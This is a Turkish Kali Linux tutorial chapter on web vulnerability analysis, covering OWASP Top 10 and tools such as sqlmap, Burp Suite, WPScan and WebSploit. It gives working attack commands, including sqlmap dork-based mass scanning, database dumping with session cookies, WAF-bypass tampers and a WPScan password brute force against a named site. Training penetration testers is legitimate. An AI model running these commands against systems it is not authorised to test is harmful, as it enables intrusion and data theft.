6. Zafiyet Analizi

Güvenlik açıklarını tespit etmek için sıkça kullanılan araçları bu başlık altında ele alacağız. Bu bölümde daha çok web güvenlik toollarına değineceğiz. Bu araçlara geçmeden önce bazı güvenlik açıklarına değinmekte fayda vardır.

6.1. Owasp Top 10

_images/127.png

Bu başlık altında Owasp’ın belirlediği top 10 açıklara kısaca değineceğiz. Böylelikle araçlarda bulunan sonuçları daha iyi kavramış oluruz.

A1– Injection

Injection saldırıların temel amacı sisteme zararlı kodlar enjecte etmek veya sistemden veriler elde etmektir. En riskli açıklar injection açıklarıdır. Bu açıklar web uygulamaların kodlama sürecindeyken yapılan hatalar ve dikkatsizliklerden dolayı meydana gelmektedir. Injection açıkları ile hedef sistemde veri okunabilir, veri silinebilir, zarar verilebilir. Kısaca bu açıklarla sistem yöneticisi dahi olabilirsiniz. Injection çeşitlerini daha detaylı inceliyelim.

a) Sql Injection: SQL veritabanlarına erişim ve yönetim için kullanılan standart bir yapıdır. Veritabanına SQL ile veriler işlenirken araya bir takım karakterlerin eklenmesiyle Sql Injection meydana gelmektedir. Sql injection ile saldırı yapılan sitede veritabanın da veriler okunabilir, okunan veriler ile panellere erişim sağlanılabilir, uzaktan kod vs. çalıştırılabilir. Sql injectionda kendi arasında çeşitleri vardır. Bunlar kısaca Classic Sql, Error-based Sql, Union-based Sql, Blind Sql, Boolean-based Sql, Time-based Sql, Out-of-band Sql’dir.

b) Command Injection: Genellikle sunucu bazlı çalışan uygulamaların gerekli filtrelemelerden geçilmeden direk olarak kod çalıştırılmasına dayanmaktadır. Çalıştırılan bu komutlar serverda hakimiyet sağlar. Bu zafiyetle beraber sistemde sistem yöneticisi olunabilir ve sistem uzaktan yönetilebilir.

c) XPATH Injection: XML kullanıcıların verilerini kendi kendine yapılandırılmasına olanak sağlayan bir dildir. XPATH xml verileri üzerinde herhangi bir değişiklik yapılmaksızın veri almak/okumak için kullanılan bir dildir. Kullanıcı girdilerinden XPATH sorguları oluşturan web sitelerine sql injection daki gibi bazı karakterler araya sıkıştırılmasıyla oluşur. Sql injection’a benzer bir yapıdadır.

d) LDAP Injection: LDAP dizin hizmetlerinin yönetiminde kullanılan bir protokoldür. LDAP ile dizinlerde kayıt ekleme, silme, düzenleme, arama gibi işlemler yapılabilmektedir. LDAP cümleciklerinin belirli bir denetlemeye tabi tutulmadığı uygulamalarda LDAP cümleciklerinin değiştirilmesi ile saldırı gerçekleşmektedir. LDAP ile sql injection da olduğu gibi veriler okunabilir, değiştirilebilir, yetkisiz kullanıcılara yetkiler verilebilir.

e) PHP Object Injection: Php’de kullanıcıdan alınan verinin “unserialize()” fonksiyonundan geçirilmesi sonucu ile oluşur.

f) SSI Injection: SSI, web uygulamalarında static yapılı sayfalara dinamik içerik eklememizi sağlayan yapıdır. Server tabanlı çalışmakta olup servera gönderilen zararlı kodların çalışmasıyla beraber SSI injection oluşmaktadır.

A2 - Broken Authentication and Session Management

Oturum saldırılarına yönelik gerçekleştirilen saldırı türleridir. Buna en basitinden Phishing saldırılarını örnek olarak gösterebiliriz. Bu yöntem ile hedef kitleye yönelik sahte sistemler hazırlanıp kişileri yemlemeye dayanmaktadır. Burada ki temel amaç kullanıcı hesaplarına veya kredi kartı gibi bilgilerini elde etmektir.

A3- Cross-Site Scripting (XSS)

XSS zafiyeti html, css, javascript ile hazırlanmış zararlı kodları kullanıcıların tarayıcısında izinsiz olarak çalıştırılmasına olanak sağlayan bir açıktır. XSS ile hedef kullanıcının oturum bilgilerini, tuş girişleri, tarayıcı yönetimi gibi işlevler gerçekleştirilebilmektedir. Dışarıdan girilen değerlerin filtrelenmemesi sonucunda ortaya çıkan bir zafiyettir. XSS de kendi içerisinde 3 bölüme ayrılmaktadır. Bunlar; Reflected XSS, Dom Based XSS ve Stored XSS’dir.

A4- Insecure Direct Object References

Güvensiz bir şekilde direk doğrudan nesnelere erişim sağlanılabilmektedir. Genellikle her nesnenin bir id değeri veya buna karşılık gelen bir yapısı vardır. Bu yapıları örnek olarak gösterecek olursak php_id=1 olduğunu varsayalım. Normal kullanıcılar id değeri 1 olan nesneye erişim sağlarken id değeri 2 olan nesneye erişim sağlamaması gerektiği halde erişim sağlamasından dolayı ortaya çıkan zafiyettir. Tamamen sistemdeki yetkilendirilmelerden kaynaklanılan bir durumdur.

A5- Security Misconfiguration

Sistemlerdeki bulunan güvenliklerinin yanlış olarak yapılandırılmasından dolayı ortaya çıkmaktadır. Genellikle server yapılandırılmalarında varsayılan ayarlar kullanılmaktadır. Varsayılan ayarlar güvenli değildir. Bunu önlemek için güvenliklerin doğru bir şekilde yapılandırılması ve gereksiz servislere yer verilmemesidir.

A6- Sensitive Data Exposure

Hassas verilere yönelik olan saldırılardır. Hassas verileri daha da açacak olursak bunlar genellikle yedekler, kimlik bilgileri, kredi kartı gibi verilerdir. Bu teknikler genellikle loglama, bruteforce, tarayıcı zafiyetleri, arp spoofing gibi saldırılara dayanmaktadır.

A7- Missing Function Level Access Control

Eksik işlev ve erişim kontrollerine dayanmaktadır. Bunu bir örnek üzerinden açıklayacak olursak; hedef sitemiz http://kali-linuxtr.net olsun ve admin panel yolu giris olduğunu varsayalım yani http://kali-linuxtr.net/giris şeklinde aynı zamanda sisteme giriş yapıldığında admin.php adlı yönetim dosyasına yönlendirildiğini varsayalım. Giriş kısmında yani http://kali-linuxtr.net/giris belirli kontrollerden geçilip admin.php’ye yönlendirilmesi gerekirken yanlış bir yapılandırılma ise giriş kontrolleri yapılmaksızın saldırganın direk olarak http://kali-linuxtr.net/admin.php adlı dosyaya erişim sağlamasından kaynaklanan zafiyet türleridir.

a) Lfi: Local File Inclusion olarak bilinir. Local’de bulunan dosyaları kaynak kodlarıyla okumayı sağlar en çok /etc/passwd dosyaları okumak için kullanılır. Bununla birlikte lfi ile sisteme Shell’de upload edilebilmektedir. Lfi sadece hedef siteyi etkilemez tüm servera etkiler.

b) Rfi: Remote File Inclusion olarak ta bilinir. Bu açık ile uzaktan hedef sisteme dosya çağırılabilmektedir. Bu sayede hedef sisteme zararlı kodlarımızı entegre edebilmekteyiz.

A8- Cross-Site Request Forgery (CSRF)

CSRF saldırıları güven saldırıları olarak ta bilinmektedir. Buradaki temel hedef hedef sitede yetkili bir kullanıcıya işlev yaptırmaktır. Bu zafiyet türünüde bir örnek üzerinden açıklayalım. Yine hedef sitemiz http://kali-linuxtr.net ve sitede yüzlerce kullanıcı aynı zamanda birkaç admin olduğunu varsayalım. Saldırganın temel hedefi site üzerinden yetki yani admin olmak istiyor. Daha önceden hazırlamış olduğu html ile panel yönetiminden gerekli ayarlamaları yapılmış bir script ile hedef admine yedirmesi ile işlevlerin gerçekleştirilmesi sonucu ortaya çıkan zafiyettir.

A9- Using Components with Known Vulnerabilities

Bilinen zafiyetlerin sistemlerde yer almasıdır. Çoğu açık kaynak kodlu yazılımlarda bulunan zafiyetler bildirilmemektedir. Aynı zamanda bu yazılımların tüm modülleri sistem yöneticileri tarafından bilinmemektedir. Bu tür yazılımlardan dolayı ortaya çıkan zafiyetlerdir.

A10- Unvalidated Redirects and Forwards

Günümüzde hemen hemen herkesin denk geldi sahte link yönlendirmeleri ve fake siteler bu başlık altında incelenmektedir. Özellikle sosyal medyada bu yöntemler çok kullanılmaktadır.

6.2. Nikto

Komut:

nikto
_images/361.png

Nikto hedef sistemde güvenlik analizi yapabilen bir araçtır. Bilindik sistem açıklarını tarar ve kullanışlı bir tooldur. Terminale nikto komutunu verdiğinizde araç açılacaktır. Tüm parametreleri görmek için -H parametresini kullanabilirsiniz.

Komut:

nikto -H
_images/371.png

En temel kullanımı nikto -h [hedefsite.com] şeklindedir. Bununla beraber port kullanmak isterseniz. -p parametresini uygulayabilirsiniz. Aynı zamanda firewall’lara aşmak için -e parametresi kullanılabilir. Örnek bir üzerinden analiz edip bakalım.

Komut:

nikto -h kali-linuxtr.net
_images/381.png

6.3. sFuzz

Komut:

sfuzz
_images/391.png

Fuzzing işlemi hedef sisteme yönelik olarak düzenli/düzensiz atack’lar yaparak yaparak sistem sınaması yapılan işlemlerdir. sfuzz yazılımı kali linux üzerinde gelmektedir. Kendi içerisinde scriptleri mevcuttur. Scriptleri /usr/share/sfuzz/sfuzz-sample dizininin altında bulabilirsiniz

Komut:

cd /usr/share/sfuzz/sfuzz-sample
ls
_images/401.png

Örnek olarak kali-linuxtr.net adlı sitemize basic.http modülünü kullanalım.

Komut:

sfuzz -v -S kali-linuxtr.net -T -p 80 -f /usr/share/sfuzz/sfuzz-sample/basic.http

Kullanılan Parametreler:

-v: Ayrıntılı dışa aktar

-S: Hedef

-T: TCP/UDP modu

-p: Port

-f: Modül Yolu

_images/416.png

6.4. jSql

Jsql açık kaynak kodlu olup sql injection atackları gerçekleştirmeyi sağlayan bir araçtır. Java dili ile yazılmıştır. Havij yazılımına benzerdir.

_images/87.png

Modüller:

  1. Veritabanı ve Tablolardan veri çekme

  2. Admin Page

  3. File scanner

  4. Web Shell

  5. Url scan

  6. Hach Brute Force

  7. Encode/Decode

Hash Algoritmaları:

  1. Adler32

  2. Crc16/32/64

  3. Md2/4/5

  4. Sha1/256/384/512

  5. Mysql

Encode/Decode:

  1. Base64

  2. Url

  3. Hex

  4. Html

  5. Hash Algoritmaları

Sql Modülleri:

  1. Normal

  2. Blind

  3. ErrorBased

  4. TimeBased

Jsql gui tabanlı olup sqlmap kadar gelişmiş bir tool değildir. Özel bypass durumları için sqlmap tavsiye edilir. Analiz işlemlerini başlatmak için “Enter Adress” kısmına sql açığının bulunduğu siteyi ekleyip çalıştırmaya başlatabilirsiniz.

_images/97.png

Bulunan veritabanları sol tarafta Database kısmında gösterilir.

6.5. SqlMap

_images/421.png

Sqlmap sql injection açıkları için geliştirilmiş çok ileri seviye bir araçtır. Python diliyle yazılmıştır. Sqlmap başlı başına ayrı bir kitap konusu bu yüzden biz genel olarak basit bir şekilde kullanımını ve bir kaç modülünü göreceğiz. Sqlmap, sqlmap [parametreler] şeklinde kullanılır. Bilgi ve yardım için -h parametresini kullanabilirsiniz. İleri düzey parametreler için - hh komutu ile öğrenebilir ve bilgi alabilirsiniz.

Komut:

sqlmap -hh
_images/431.png

Temel olarak tüm bağlantılarda kullanacağımız temel komut aşağıdaki gibidir.

Komut:

sqlmap -u “hedefsite.com/index.php?id=” --dbs

İlk adımda bir dork tarayıp daha sonra localde kurduğumuz bir script üzerinden sql inj. saldırısı gerçekleştirelim. Dork taraması için -g parametresini kullanmamız gerekmektedir.

Dork:

inurl:news.php?id=

Komut:

sqlmap -u "inurl:news.php?id="
_images/441.png

Burada verdiğimiz dork ile tek tek siteleri çekip ve çekilen sitede sql açığı olup olmadığını bizlere soruyor. Eğer hedef bağlantıda sql inj. açığı mevcut değil ise bir sonraki siteye geçer ve her site için kontrol edilip edilmeyeceğini bize sorar.

Hedef Site:

http://localhost/lab/bWAPP/sqli_1.php

Hedef site local’de çalıştırdığım bWAPP scriptidir. Bwapp scripti hakkında detaylı bilgi lab uygulamalarında verilmiştir.

Sql injection olan ilk soruyu açtığımızda bir arama formu çıkıp “’” meta karakteri ile hatayı aldık.

_images/451.png

şekilde görüldüğü gibi hatamızı aldık. Bunu sqlmap vasıtasıyla verileri çekelim. Sql inj. ile verileri çekmeden önce kurduğumuz sistem kullanıcı girişi yapıldıktan sonra sql inj. tespit edilmiştir. Bundan yola çıkarak sqlmap direk sisteme erişim sağlayamacağı için sqlmap’e cookieleri girmemiz gerekmektedir. Cookieleri çekmek için herhangi bir cookie editör kullanabilirsiniz.

_images/461.png

Cookie:

cpd3s47416v7j9pd55od17vrf1

Security Level:

0

Bunları sqlmap’te tanımlamak için –cookie parametresi kullanacağız.

Komut:

sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' --dbs
_images/471.png

Veritabanını çektik sıra tablolarda –tables parametreleri ile çekilir.

Komut:

sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP --tables
_images/481.png

bWAPP adlı veritabanındaki tabloları çekmiş olduk. Kolonları çekmek için –columns parametresi kullanılır.

Komut:

sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP -T blog --columns

Sonuç:

Database: bWAPP

Table: blog
[4 columns]
+--------+--------------+
| Column | Type
|
+--------+--------------+
| date | datetime
|
| entry | varchar(500) |
| id
| int(10)
|
| owner | varchar(100) |
+--------+--------------+

Kolonlardaki verileri çekmek için –dump parametresi kullanılır.

Komut:

sqlmap -u "http://localhost/lab/bWAPP/sqli_1.php?title=%27a" --cookie='PHPSESSID=cpd3s47416v7j9pd55od17vrf1; security_level=0' -D bWAPP -T blog -C id,date --dump

Örnek olarak burada id,date veri çekilme işlemi yapıldı içi boş değerler olduğu için sonuç vermedi. Bu işlemlerin tamamını çıktı olarak /root/.sqlmap/output/analiziyapılan şeklinde olarak txt formatında çıktımızı vermektedir.

Dosya Yolu:

/root/.sqlmap/output/target

Sqlmap Waf Bypass Scriptleri

Hedef sistemde sql injectin varsa bile ve hedef sistemde waf olması durumlarda Waf Bypass scriptleri kullanılmaktadır. Bu scriptlere genel olarak tamper denilmektedir. Tamper scriptleri SqlMap’ın kurulu olduğu dizin altındaki tamper klasöründe bulunmaktadır.

Komut:

cd /usr/share/sqlmap/tamper
ls
_images/491.png

Tamper scriptleri python ile yazılmış olup tüm scriptlerin neler yapabileceğini öğrenmek isterseniz biraz programlama dili biliyorsanız scriptleride anlıyabilirsiniz. –tamper parametresi ile kullanılmaktadır. Bir örnek ile gösterecek olursak;

Örnek:

sqlmap -u http://localhost/lab/mutillidae/index.php?page=user-info.php&username=%27&password=bug&user-info-php-submit-button=View+Account+Details --dbs --tamper=space2comment

6.6. Burpsuite

_images/263.png

Burp Suite, pentest işlemlerinde en çok kullanılan proxy programıdır. Web işlemleri gerçekleştirirken istemci-sunucu mimarisini kullanırız. Bir web sitesini incelemeye başladığımız zaman giden gelen verilere, isteklere, isteklerin gidiş dönüş şekillerine göre işlemler gerçekleştiririz. Pentest işlemlerin sağlıklı işlemesi için istemci ile sunucu arasında yapılan her işlemin gerek istemciden çıkıp sunucuya varmadan kontrolü gerekse de sunucudan istemciye dönen cevap istemciye varmadan araya girerek bakılması çok önemlidir. Burp Suite işte burada devreye girer ve istemci sunucu arasındaki tüm verileri kendi üzerinden geçirerek kendisinde mevcut bulunan özellikler ile test edilmesini sağlar. Kendi bünyesinde bir çok özellik ve plugin bulundurmaktadır. Burp Suite içinde Repeater, Intruder, Decoder, Spider, Scanner, Comparer, Sequencer özelliklerini barındır. Bu özellikler pentest işlemlerinde hız ve test etme kolaylığı noktasında bize yardımcı olur.

Bir örnek üzerinden tarayıcımıza bir istek gönderip inceleyelim. Bundan önce tarayıcının proxy’si ayarlanmalıdır.

Ayarlar kısmından network ayarları aşağıdaki gibi olmalıdır.

_images/272.png

Burpsuite yazılımını açtıktan sonra Burada ‘Proxy Listeners’ bölümünde Add butonuna tıklayarak IP olarak 127.0.0.1degerini seçiyoruz ve port olarakta tarayıcıya verdiğimiz 8080 port numarasını yazıyoruz. İstersek tarayıcıya farklı bir port numarası verebiliriz.Tarayıcıya verdiğimiz port numarasını da burpsuite yazarız.

_images/281.png

Herhangi bir siteye bağlanma ve ilk isteği yakalama adımına geçelim.Yakalama işlemini başlatmak için ‘Intercept is off’ butonuna tıklamamız gerekiyor. Daha sonra kali-linuxtr.net sitesine bağlandık. İstemciden giden ilk verileri Burp Suite yazılımı yakaladı.

_images/292.png

Burada ‘Forward’ butonu yakalanan isteğin sunucuya gönderilmesini sağlar.’Drop’ butonu ise yakalanan isteğin sunucuya gönderilmeden silinmesini sağlar.

Burpsuite Özellikleri

Repeater

Burpsuite http isteklerini manuel olarak görmeyi, değiştirmeyi ve çıktı analizi sağlayan bir modüldür.

Intruder

Burpsuite Intruder web güvenlik zafiyetleri tespit etme ve exploitk için geliştirilmiş bir modüldür. Bu modül ile sql inj. Xss gibi zafiyetleri tespit etmekle beraber bruteforce atacklarıda gerçekleştirebilmektedir.

Decoder

Burpsuite Decoder, belirli algoritmalrda ki hashleri decode etme ve bu hashlarin tipini tanıyan bir modüldür.

Spider

Burpsuite Spider, hedef sitede ki tüm bağlantıları kontrol ederek dizin ve dosyaları tespit eden gelişmiş bir modüldür. Arama kriterlerini aramak istediğinize göre modifiye edebilirsiniz.

Scanner

Aktif ve pasif olmak üzere 2 tür scanner mevcuttur. Aktif tarama her isteği modifiye ederek tekrar tekrar gönderir. Genel olarak kullanıcı ve server tabanlı zafiyetleri tespit etmeye çalışır. Pasif taramada ise burp yeniden istek göndermez var olan istekleri analiz eder.

Comprarer

İki istek veya cevap arasında ki farkı alır.

Sequencer

Uygulama tarafından üretilen kritik tokenlerin rastgelelilik oranını analiz eder.

Burpsuite eklentileri

Burpsuite’de kullanılabilecek çok yararlı eklentiler mevcuttur bu eklentileri burpsuite üzerinde kurabilmek için Extender Menüsü altında BApp Store üzerinden yapılır.

_images/302.png

Listede görüldüğü iş görebilecek çok fazla eklenti mevcuttur.

Burpsuite ve sqlmap

Burpsuite sqlmap için belirli çıktılar veya eklentiler vasıtasıyla direk komutu alabiliriz. Eklenti olarak CO2 adlı eklenti üzerinden gerçekleştireceğiz. Eklentiler sayfasından sizde bunu edinebilirsiniz.

Co2 adlı eklentiye geçmeden önce localde kurduğum Dvwa adlı script üzerinden istek gönderdiğimde aşağıdaki gibi olmaktadır.

_images/316.png

Sqlmap sorgu oluşturabilmek için buradaki çıktıyı alıp herhangi bir metin dosyasına kaydedelim.

_images/321.png

Önceki konumuzda bunu kullanabilmek için -r parametresi ile gerçekleştirebileceğimize değinmiştik.

Komut:

sqlmap -r '/root/Masaüstü/burp.txt' --dbs
_images/331.png

Şeklinde kullanabiliriz. Ve işlem sonucu aşağıdaki gibidir.

_images/341.png

Co2 eklentisi ise burpsuite arayüzünde iken Co2 menüsü altında SQLMapper bölününe geçiş yaptığımızda Options menüsü altında çekmek istediğiniz verileri, tekniklerieri seçtikten sonra SqlMap Command alanında çalıştırabileceğimiz komutu bize vermektedir.

_images/351.png

Görüldüğü gibi otomotik olarak kullanabileceğimiz komutu vermiş oldu.

6.7. Vega

_images/205.png

Vega Scanner hedef sitede veri toplayan ve zaafiyet taraması yapan gui tabanlı bir araçtır. Gelişmiş modüllere sahiptir.

Komut:

vega
_images/216.png

Örnek bir analiz yapalım. Arayüzü tanıyalım.

  • Website View (Sitede Bulunan dış linkler ve daha önce analiz yapılmış linkler bulunur.)

  • Scan Allerts (Bulunan açıkların listeler)

  • Scan İnfo (Bulun açıkların derecesini risk oranını ve bulunan bilgileri verir. Ayrıca Bu açıklarla ilgili referans bağlantılar sağlar.)

Scan menüsnden start new scan diyip başlayalım

images/s6/222.png

Eğer tek bir site üzerinden analiz yapacak olursak Scan Target alanına hedef sitemizi ekleyeceğiz. Eğer birden fazla site analiz edeceksek scope alanından hedefleri ekleyeceğiz.

_images/233.png

Bu kısımda ise analiz etmek istediğimiz zaafiyeti seçeceğiz.

_images/243.png

Bilgi toplama istediğimiz modülleri seçip devam edelim. Bir sonraki seçenekte ise cookie eklemek istiyorsak cookieleri ekleyip devam finish diyip analiz işlemlerini başlatmış oluruz.

_images/253.png

Örnek analiz sonuçları görüldüğü gibidir.

6.8. WebSploit

Websploit içinde web, network, exploit ve wireless/bluetooth modülleri barındıran metasploit iskelet sistemi kullanılarak kodlanılan bir frameworktür.

Komut:

websploit
_images/105.png

Kendi içerisinde tanımlanmış olan komutlar ile çalışmaktadır. Komutlar aşağıdaki gibidir.

Komut:

help
_images/1111.png

Tüm modülleri listelemek için show modules komutunu gireceğiz. Adım adım web modullerinden cloudflare resolver modülünü kullanalım.

Modül:

web/cloudflare_resolver
_images/128.png

Peki bu modül ne işe yarar? Bu modül hedef sistemde cloudflare kurulu olması durumunda gerçek ip adresini tespit etmemize yarayan bir modüldür. Bu modülün çalışma mantığı ise hedef sistemde subdomainler veya servislerin clouda yönlendirilmemesi halinde arka planda bıraktığı iz sayesinde tespit eder. Modülümüzü seçmek için use komutunu kullanırız.

Komut:

use web/cloudflare_resolver

Modülümüzü seçtikten sonra gerekli ayarlamalı görmek için show options komutunu kullanırız.

_images/136.png

Gerekli olan ayarları yapmak için set komutunu kullanılır.

Komut:

set Target  kali-linuxtr.net
_images/146.png

Çalıştırmak için ise run komutunu kullanacağız.

Komut:

run
_images/156.png

6.9. Owasp Zap

6.10. XSSer

6.11. CMS Scanner

Hazır Sistemlerin belli başlı yapıları bulunmaktadır. Aşağıdaki araçlar bu yapılardan yararlanarak hazır sistemler üzerinden bilgi toplama ve zaafiyet analizi gibi işlemleri gerçekleştirmektedir.

6.11.1. WpScan

Hedefimizde wordpress kurulu olduğunu varsayalım. Hedefimizde bulunan wordpressin sürümünü, kullanılan temaları, eklentileri, daha önce bulunan zaafiyetleri referans bağlantılarla beraber sonuçları bize veren yazlımdır. Tüm parametreleri görebilmek için help parametresini kullanırız.

_images/166.png

Sistemde genel bir tarama yapmak için wpscan -u [hedefsite.com] şeklinde bir komut kullanacağız.

Komut:

wpscan -u kali-linuxtr.net/toolbox
_images/175.png

Örnek analiz sonuçlar yeşil olan kısımlarda açık mevcut değil kırmızı olan kısımlarda ise açıklar mevcut olduğunu ifade eder ve aynı zamanda açığın neyden kaynaklandığın referans linkleriyle beraber bize verir. Bu tarama şekli üstten tema, versiyon, eklentileri bize verir. Eğer derinlemesine bir tarama yapmak istiyorsak enumerate’leri kullanmamız gerekmektedir.

Eklenti:

wpscan -u kali-linuxtr.net/toolbox --enumerate p

Tema:

wpscan -u kali-linuxtr.net/toolbox --enumerate t

Kullanıcı:

wpscan -u kali-linuxtr.net/toolbox --enumerate u

gibi geliştirilmiş modülleri mevcuttur. Aynı zamanda elinizdeki ver olan bir wordlist ile kullanıcılara yönelik bruteforce saldırısı gerçekleştirebilirsiniz.

Wpscan bruteforce

Eğer elinizde çok sağlam veya hedef kişinin yapabilme olasılığı olan bir liste var ise bruteforce ile şifreyi öğrenmeye çalışabilirsiniz. Bu süreç elinizdeki listeye bağlı olarak değişmektedir. Eğer listenizde varsa şifreyi tespit edersiniz. –wordlist parametresi ile kullanılmaktadır.

Komut:

wpscan -u http://muhammedsoner.com.tr --wordlist /root/Masaüstü/brute.txt
_images/184.png

Basit bir şekilde bir liste oluşturup bruteforce atttık.

6.11.2. JoomScan

_images/501.png

Joomla tabanlı CMS sisteminde hedef site hakkında bize veri toplayan daha önce bulunmuş zaafiyetleri,exploitleri ve payloadları referans bağlantılarla birlikte bize sunan owasp tarafından kodlanmış bir joomla analiz aracıdır.

Komut:

joomscan -u target.com

En temel hali ile yukarıdaki komut ile analiz başlatılır.

_images/516.png

Örnek analiz sonucu yukarıdaki gibidir.

  • Vulnerable? Yes (Açık Mevcuttur.)

  • Vulnerable? No (Açık Yok.)

  • Vulnerable? N/A (Açık olup olmadığı belirsiz.)

Analiz sonucunda bulunan zafiyetler ile ilgili verilen referans numaraları ile zafiyetin nasıl kullanılacağı hakkında fikir sahibi olursunuz.

6.11.3. DroopeScan

DroopeScan; drupal,wordpress,joomla,moodle,silverstripe gibi sistem üzerinden bilgi toplama ve zaafiyet analizi yapmaktadır. Daha sık drupal sistemler için kullanılır.

_images/521.png

Kendi localimde docker üzerinde çalıştırdığım bir örnek drupal analizi aşağıdaki gibidir.

_images/531.png

6.11.4. VbScan

Bu araç vbulletin sitelerinden exploit db’den veri çekerek zaafiyet tarması yapan bir araçtır. Bulduğu kısımları [+] açık bulamadığı yerleri ise kırmızı şekilde yansıtmaktadır. Tüm işlemler sonunda analiz sonuçlarını txt şeklinde reports klasöründe site adı ile beraber vermektedir. Kurulum için git üzerinden dosyayı çekelim.

Komut:

git clone https://github.com/rezasp/vbscan.git

Dosyayı Çalıştırabilmemiz için yetki vermek gerekir.

Komut:

chmod +x vbscan.pl

Gerekli yetkileri verdikten sonra vbulletin’in kendi web sitesi üzerinden test edelim.

Komut:

./vbscan.pl http://hedefsite.com
_images/195.png

6.12. Neler Öğrendik?